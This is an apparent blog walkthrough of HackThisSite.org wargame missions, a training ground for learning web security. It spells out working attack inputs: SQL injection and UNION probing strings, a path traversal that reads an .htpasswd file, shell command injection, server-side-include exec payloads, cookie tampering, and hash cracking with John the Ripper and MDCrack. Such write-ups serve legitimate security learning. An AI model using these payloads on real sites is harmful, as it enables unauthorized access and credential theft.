HTS Realistic Mission 7

Solution to HACK THIS SITE . ORG Realistic Missions

From Dexter’s Lab

The realistic missions from the site Hackthissite.org is really very fascinating and overwhelming. I am considering you know a little bit about the programming things. If not then I am sorry for you because these things may seems too tough for you.

REALISTIC MISSION 7

UNRESTRICTED SERVER FEEDS & DECRYPTING HASH FUNCTION METHOD

While scrubbing through the site you should come across the image directory. When you browse to this directory you will see a folder embedded call /admin. If you were to click on that folder you get an authentication window. By cancelling you will see what they webserver they are running. You will notice at the bottom it is running Apache. Apache uses .htpasswd files to store user names and passwords. 

Now that you know .htpasswd files store the username and password you will need to get into the site, how do you get this file.

Well, you have to play with the site. After doing some work you will come across this page:

showimages.php?file=bush.txt

This page calls the file=bush.txt file to come up. So use this to get the .htpasswd file.

showimages.php?file=images/admin/.htpasswd

This translates into a picture that cannot be displayed because in reality it is a file not a picture. If you were to click on that picture you will notice in the URL administrator:aH0qcQOVz7e0s

You now know that the username is administrator and the password is aH0qcQOVz7e0s. The challenge now how to crack the encrypted password.

John the Ripper is a good program for this. You can download it and run the john.exe file. What you need to do is take the password you now have and copy that to a text file but add p: to the beginning of it. 

Example: p: aH0qcQOVz7e0s

Run

john.exe c:/password.txt

After it is completed run 

john.exe –show c:/password.txt

There you go the username and password:

uid: administrator pwd: company

HTS Realistic Mission 6

Solution to HACK THIS SITE . ORG Realistic Missions

From Dexter’s Lab

The realistic missions from the site Hackthissite.org is really very fascinating and overwhelming. I am considering you know a little bit about the programming things. If not then I am sorry for you because these things may seems too tough for you.

REALISTIC MISSION 6

DECRYPTING XECRYPTION ALGORITHM

You have to simply read about XECryption and then have to draw out a solution by writing a program and decrypt the code and send the message to “ToxiCo_Watch”.

The message after decrypt is:

"Samuel Smith

Thank you for looking the other way on the increased levels of toxic chemicals in the river running alongside our industrial facilities. You can pick up your payment of $20,000 in the mailbox at the mansion on the corner of 53 and St. Charles tomorrow between the hours of 3:00am and 5:00am.

Thank you,

John Sculley

ToxiCo Industrial Chemicals

" (without quotes). 

HTS Realistic Mission 5

Solution to HACK THIS SITE . ORG Realistic Missions

From Dexter’s Lab

The realistic missions from the site Hackthissite.org is really very fascinating and overwhelming. I am considering you know a little bit about the programming things. If not then I am sorry for you because these things may seems too tough for you.

REALISTIC MISSION 5

ANALYZING “ROBOTS.TXT” & DECRYPTING HASH FUNCTION METHOD

As per Spiffomatic64 said in the message at the starting that he has found message digest. So what it is?

A cryptographic hash function is a hash function that can be defined as a deterministic procedure that takes an arbitrary block of data and returns a fixed-size bit string, the (cryptographic) hash value, such that an accidental or intentional change to the data will change the hash value. The data to be encoded is often called the "message," and the hash value is sometimes called the message digest or simply digests. 

There are many websites that shows their password in hash format and if it is decrypt able hash function u can always crack it using different software or making own C++ programs

 I can't stress this enough but one of the first things you should do after viewing every page is to view the source code of every page. Unfortunately for us this reveals nothing. 
You take a look at the News page and you decided to read it. There are some things in there that you think might give you a clue like the administrator's girlfriends name. But this is all useless. But then you read:
"Google was grabbing links it shouldn't be so I have taken extra precautions"
Now this might be interesting. In order to hide files from search engine spiders you need a robots.txt file. So what is basically robots.txt do?

Think of search engine spiders as very simple and automated data retrieval program, traveling the web to find information and links. They only absorb what they can see, and while a picture is worth a thousand words to a person, its worth zero to a search engine. They can only read and understand text, and then only if its laid out in a format that is tuned to their needs. Ensuring that they can access and read all the content from within a web site must be a core part of any search engine optimization strategy. 

When a web page is submitted to a search engine, the url is added to the search engine spiders queue of websites to visit. Even if you don't directly submit a website, or the web pages within a website, most robots will find the content within your website if other websites link to it. Thats part of a process referred to as building reciprocal links. This is one of the reasons why it is crucial to build the link popularity for a website, and to get links from other topical sites back to yours. It should be part of any website marketing strategy you opt in for.

When a search engine spider arrives at a website, the bots are supposed to check to see if you have a robots.txt file. This file is used to tell spiders which areas of your site are off-limits to them. Typically these may be directories containing files the spider doesn't need to concern itself with. Some spiders will ignore these files. However, all search engine spiders do look for the file. Every website should have one, even if it is blank. Its just one of the things that the search engines look for.

So let’s take a look at what they are hiding:

http://www.hackthissite.org/missions/realistic/5/robots.txt

will show you the following:

User-agent: * Disallow: /lib Disallow: /secret

This indicates that there are two directories /lib and /secret the administrator does not want search engines to look at. So let us look at them.

We check out secret first for obvious reasons. We look at admin.php and get an "Invalid Password" message. We look at admin.bak.php and get:

error matching hash 23587b1fe357d4c1e79145d66ffdf670

This hash might be different for you. If we remember what Spiffomatic64 said about the hash being a "message digest" (MD), which might be the password you need to enter.

But what algorithm do we use? Let's take a look at the other directory /lib inside there is a hash file. Lets download and take a look. Wow a lot of garbage. Take a good look through the file and you might come across this:

$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $ %02x  Error: MDupdate MD already done.  Error: MDupdate called with illegal count value %d. MD4 time trial. Processing 1 million 64-character blocks... is digest of 64M byte test input. Seconds to process test input: %g

If you noticed I bolded MD4. That means that this hash was encrypted with the MD4 algorithm. You can use any MD4 collision finder to crack the hash.

A popular one is MDCrack NG. Here is the usage and output of MDCrack:
Usage:

MDCrack-sse.exe --algorithm=MD4 23587b1fe357d4c1e79145d66ffdf670

Output:

MDCrack-sse.exe --algorithm=MD4 23587b1fe357d4c1e79145d66ffdf670 System / Starting MDCrack v1.8(3) System / Running as MDCrack-sse.exe --algorithm=MD4 23587b1fe357d4c1e79145d66ffdf670 System / Charset is: abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ System / Detected processor(s): 2 x INTEL Itanium | MMX | SSE | SSE2 System / Target hash: 23587b1fe357d4c1e79145d66ffdf670 System / >> Using MD4 cores: maximal candidate/user salt size: 16/54 bytes Info   / Press ESC for available runtime shortcuts (Ctrl-c to quit) Info   / Thread #0: >> Using Core 1 Info   / Thread #1: >> Using Core 1 Info   / Thread #0: Candidate size:  1 ( + user salt: 0 ) Info   / Thread #1: Candidate size:  1 ( + user salt: 0 ) Info   / Thread #0: Candidate size:  2 ( + user salt: 0 ) Info   / Thread #1: Candidate size:  2 ( + user salt: 0 ) Info   / Thread #0: Candidate size:  3 ( + user salt: 0 ) Info   / Thread #1: Candidate size:  3 ( + user salt: 0 ) Info   / Thread #1: Candidate size:  4 ( + user salt: 0 ) Info   / Thread #0: Candidate size:  4 ( + user salt: 0 ) Info   / Thread #1: Candidate size:  5 ( + user salt: 0 ) Info   / Thread #0: Candidate size:  5 ( + user salt: 0 ) ----------------------------------------------------------/ Thread #1 (Success) ---- System / Thread #1: Collision found: d61bb Info   / Thread #1: Candidate/Hash pairs tested: 14 583 394 ( 1.46e+007 ) in 968ms Info   / Thread #1: Allocated key space: 2.42e+028 candidates, 0.00% done Info   / Thread #1: Average speed: ~ 15 054 401 ( 1.51e+007 ) h/s

Where it says Collision found: d61bb is the password. You can also use Cain and Able password cracker or you can always write your own programming if you understand well the mechanisms.

HTS Realistic Mission 4

Solution to HACK THIS SITE . ORG Realistic Missions

From Dexter’s Lab

The realistic missions from the site Hackthissite.org is really very fascinating and overwhelming. I am considering you know a little bit about the programming things. If not then I am sorry for you because these things may seems too tough for you.

REALISTIC MISSION 4

SQL INJECTION METHOD (ADVANCED)

The idea here is to find the email addresses stored in the database. The First thing that comes to mind when trying to get information from a database should be an SQL Injection. 
If you are not sure how SQL Injections work read the post SQL Injection Walkthrough. You will notice that sql injection does work here.If you play around with the site and enter an invalid e-mail address you will get an error that it could not enter the e-mail address into table ‘email’. This is important information because it tells us the table we are looking for. Another thing you should notice is that the page products.php takes a query string.

products.php?category=1

This is indicating to me that the page is doing something like this:

SELECT * FROM products WHERE category=1

What we should try then is UNION. UNION allows us to merge the results of two SELECT statements into one. For example:

SELECT * FROM table1 UNION ALL SELECT * FROM table2

would return all the columns from table1 and all the columns from table2. It is important to note that in order to use UNION the columns in both tables must be the same, so if table1 has 5 columns table2 must have five columns.

So Let's find out how many columns the tables have. We can start with the products table because this is the easy one. If we use the ORDER BY command we can methodically increase the value. So 

products.php?category=1 ORDER BY 1

might change the page slightly. As we increase the number you might continue to notice changes. It is not until you go to far that the page looks completely different (either a blank page, error, or something else). If you try:

products.php?category=1 ORDER BY 5

You will see what I mean. Which indicates that the number of columns in products is four. 

Now for the email table. Lets assume that the email table only has one column (the emails). That means we would have to add at at most 3 columns. We can achieve this by using NULL. If we have three NULL columns plus the email column (which adds up to four) and we have no results we now know that the email table has more columns then the product table. So we would have to remove all the NULL columns from the email table and start adding them to the product table. 
I know what your thinking..."What am I talking about?" Lets take a look. We start with this:

products.php?category=1 UNION ALL SELECT *, NULL FROM email

We get nothing so we add another NULL

products.php?category=1 UNION ALL SELECT *, NULL, NULL FROM email

Nothing again so another NULL. But realize this is the last one we can add as noted above:

products.php?category=1 UNION ALL SELECT *, NULL, NULL, NULL FROM email

You notice there are a bunch of broken images at the bottom. You have it. Now if you still got nothing that is when the email table has more columns then the product table and you would have to add NULL columns to the product table instead.

Now when I said you had I really meant it, but you are probably asking where are the e-mail addresses. View the source code. There they are. Now if you wanted to see the e-mail addresses on the page try moving the * around:

products.php?category=1 UNION ALL SELECT NULL, *, NULL, NULL FROM email

The hardest part was finding where to send the email addresses through HTS mail system...If you do not know how to send then click your username on left up corner and it will lead u to your profile and then click on your username in the profile again and a message composing box will open. Copy-Paste the emails in message area and the send the email to 'SaveTheWhales'

HTS Realistic Mission 3

Solution to HACK THIS SITE . ORG Realistic Missions

From Dexter’s Lab

The realistic missions from the site Hackthissite.org is really very fascinating and overwhelming. I am considering you know a little bit about the programming things. If not then I am sorry for you because these things may seems too tough for you.

REALISTIC MISSION 3

DIRECTORY TRANSVERSAL METHOD

Reading the source code to a page is probably the first thing you should do just to get an idea of what the page is made of. After I read the source code I found this html comment:

"Note to the webmaster. This website has been hacked, but not totally destroyed. The old website is still up. I simply copied the old index.html file to oldindex.html and remade this one. Sorry about the inconvenience."

at the bottom. That's right the hacker was nice enough to tell us where he put the old site.

Since poems are saved and stored online we can assume that the hacker submitted the name of the poem to be:

../index.html

and the poem field is the code indicating the page has been hacked.

Why are we using "../" well if you remember in HTS Basic Level 9 directory transversal it means to go up one directory.

So what do we need to do...Well go to oldindex.html view the source and copy the code. Go to the submit page and in the "Name of the Poem" filed enter:
../index.html
and in the "Poem" field paste the source code and submit. 

HTS Realistic Mission 2

Solution to HACK THIS SITE . ORG Realistic Missions

From Dexter’s Lab

The realistic missions from the site Hackthissite.org is really very fascinating and overwhelming. I am considering you know a little bit about the programming things. If not then I am sorry for you because these things may seems too tough for you.

REALISTIC MISSION 2

SQL INJECTION METHOD

This page involves utilizing a SQL Injection Attack. If you have observed the source code you have noticed that which leads us to a page “update.php”. Many of the sites are still unprotected. One can easily access the admin panel using this trick

<a href="update.php"><font color="#000000">update</font></a>

So we’ve headed to http://www.hackthissite.org/missions/realistic/2/update.php and there we found an admin panel. But it seems to be unprotected due to SQL injection.

username : ' OR 'a'='a password :  ' OR 'a'='a

And you have got access to a panel which has enough privilege to update the thing!!  

HTS Basic Missions 7-11

BASIC MISSION 7

This mission requires basic knowledge of linux shell commands and operators. The command "ls" lists the contents of a directory, while the semicolon (";") character ends one command without requiring a newline / RET. You need to end the "cal" command and run ls. Enter "; ls" without quotes into the box you are supposed to enter the date. you'll see this interesting output:

February 2012 Mon Tue Wed Thu Fri Sat Sun           1   2   3   4   5   6   7   8   9  10  11  12 13  14  15  16  17  18  19 20  21  22  23  24  25  26 27  28  29 . .. cal.pl index.php k1kh31b1n55h.php level7.php

Now head to http://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php

BASIC MISSION 8

When a name is entered, the system creates a file in /basic/8/tmp/randomjunk.shtml with some irrelevant information in it. If you Google for ".shtml" you'll see that that is an extension for Server Side Include executables. Goggling for "ssi exec" you'll find that <pre</pre> will return the output from running "command". We know that this is a Linux/Unix server from the directory style, starting with "/" instead of "C:\", so we'll use the "ls" command to list the contents of the directory. Put “<!--#exec cmd="ls" -->” as your name and then go to the created file. You should see a list of randomly named files in the name area like

Hi, tshngmww.shtml hipykpqu.shtml ztxdhjxn.shtml avpfeoie.shtml fviqpmaw.shtml kqbybdzc.shtml dzrnmzgx.shtml npcsygfl.shtml whqxxojt.shtml ylomcmvu.shtml uhdppswp.shtml gzntiicx.shtml dzwbqiuu.shtml qvzuieng.shtml smcerykh.shtml qjhnmhmq.shtml znodwztr.shtml!   Your name contains 254 characters.

Using the combination of this and directory transversals (google it - "." is the current directory, ".." is one directory up) we can go from webroot/missions/basic/8/tmp/ to webroot/missions/basic/8/ without having to specify the full path. . Put “<!--#exec cmd="ls .." --> ”as your name and then go to the created file. You should see a list of randomly named files in the name area like

Hi, au12ha39vc.php index.php level8.php tmp! Your name contains 39 characters.

Voila you have made it .Now just head @ http://www.hackthissite.org/missions/basic/8/au12ha39vc.php

BASIC MISSION 9

For this mission you  must  use directory transversal instead of the full path. Go back to Basic Mission 8 of Hack This Site  ( http://www.hackthissite.org/missions/basic/8/ ) and put this into the name box: Put “<!--#exec cmd="ls ../../9/" -->” as your name and then go to the created file. You should see a list of randomly named files in the name area like

Hi, index.php p91e283zc3.php!   Your name contains 24 characters.

Voila your obscured file is p91e283zc3.php . Now just head to http://www.hackthissite.org/missions/basic/9/p91e283zc3.php

BASIC MISSION  10

This mission is about cookies. To view your cookies, you can use JavaScript injection or a couple different Firefox plugins. Using JavaScript injection: Go to Basic 10, then put the following into your address bar and hit enter: “javascript:alert(document.cookie);”

This is your cookie. JavaScript makes it very easy to edit - just use this to change level10_authorized to yes. To do that put the following into your address bar and hit enter” javascript:void(document.cookie="level10_authorized=yes"); “ .Press enter to apply it, then press submit leaving the password field blank.

BASIC MISSION 11

One thing that you may have noticed is that whenever you refresh the page you get a new song name, this may seem random but it's not and with a little bit of googling you'll notice that these songs were performed by elton john. Now that we know that, we have to find how the music collection is organized on the server, after many tries I found that the songs are organized in letter by letter directories, trying all the different possibilities is a waste of time because we already know where to look for our password, it's in http://www.hackthissite.org/missions/basic/11/e/l/t/o/n/ but when you get there, this directory may seem empty, but actually it's not, there is a hidden file in it and it's named ".htaccess", this file allows a directory level configuration of the web server (In this case Apache).

 When you open the .htaccess file (http://www.hackthissite.org/missions/basic/11/e/l/t/o/n/.htaccess) you'll see this interesting instruction:

IndexIgnore DaAnswer.* .htaccess <Files .htaccess> order allow,deny allow from all </Files>

Now head to http://www.hackthissite.org/missions/basic/11/e/l/t/o/n/DaAnswer

The answer is somewhere close! Just look a little harder.

answer = somewhere close (which means 'somewhere close' is the password).So now head to http://www.hackthissite.org/missions/basic/11/index.php and give the password as “somewhere close”.Submit your anwser and the "go on" link will appear, you have completed the 11th basic mission.

HTS Basic Missions 1-6

BASIC MISSION 1

I can call you a pretty dumb as per you are now viewing the walkthrough for clearing the mission 1.Have you checked the source code it’s written there. View the source and search for “password”, you will get similar like this

<!-- the first few levels are extremely easy: password is abshdgu21 -->

BASIC MISSION 2

I can again call you a pretty dumb as per you are now again viewing the walkthrough for clearing the mission 2 without reading the instructions correctly. Have you checked that - what is written there? “” He neglected to upload the password file”” .So it means “No Password”. Just click “Submit”

BASIC MISSION 3

<form action="/missions/basic/3/index.php" method="post">                                  <input type="hidden" name="file" value="password.php" />                                  <input type="password" name="password" /><br /><br />                                  <input type="submit" value="submit" /></form>

Have you noticed the area of form in HTML? It means the password is stored in password.php. Hence just simply navigate to www.hackthissite.org/missions/basic/3/password.php

BASIC MISSION 4

<form action="/missions/basic/4/level4.php" method="post"> <input type="hidden" name="to" value="webmaster@hulla-balloo.com" /><input type="submit" value="Send password to Sam" /></form></center><br /><br /><center><b>Password:</b><br />                          <form action="/missions/basic/4/index.php" method="post">                          <input type="password" name="password" /><br /><br />                          <input type="submit" value="submit" /></form>

Have you noticed the area of form in HTML? It means the password being sent to webmaster@hulla-balloo.com and changing the email to your email will increase your inbox by one email carrying the password.

PS: Ok I am sure that you are having a problem as it is read only. So copy all and open a notepad file .Paste there and edit and then save the file with extension "html" (like"amit.html") .Now open it and click on "Send message" and you are done....Otherwise If you are using Mozilla Firefox you can use firebug and do the modification and you can also use “Inspect Element” in other browser like Google Chrome

BASIC MISSION 5

This mission is similar like the previous one but for this mission you need javascript injection, because it now checks the referrer. You need to change the 'to' email address to your own. To do this, you need to paste this into your address bar while at the Basic 5 page:

javascript:void(document.forms[0].elements[0].value="titanium009@gmail.com");

Now change” titanium009@gmail.com “ to your email address and it will work in similar way like the previous.

BASIC MISSION 6

So as per the mission You have recovered his encrypted password now just to find the algorithm to decrypt it.  You'll notice that if you encrypt "aaaaa" it gives you "abcde". This encryption simply adds the character number to the character, starting at 0.
You can use http://www.asciitable.com/ to find the progression of symbols. Ex. if your encrypted password is "968d<56>" you need to subtract 1 from the second letter, 2 from the third, and three from the fourth, producing "956a". It isn't obvious what < goes to, so use the link to find out that it is "8". Continuing, you end up with "956a8007", which correctly "encrypts" to "968d<56>".

A little tool made to decrypt the password: http://www.2shared.com/file/Gslp58co/HackThisSite_DecryptME_Basic_6.html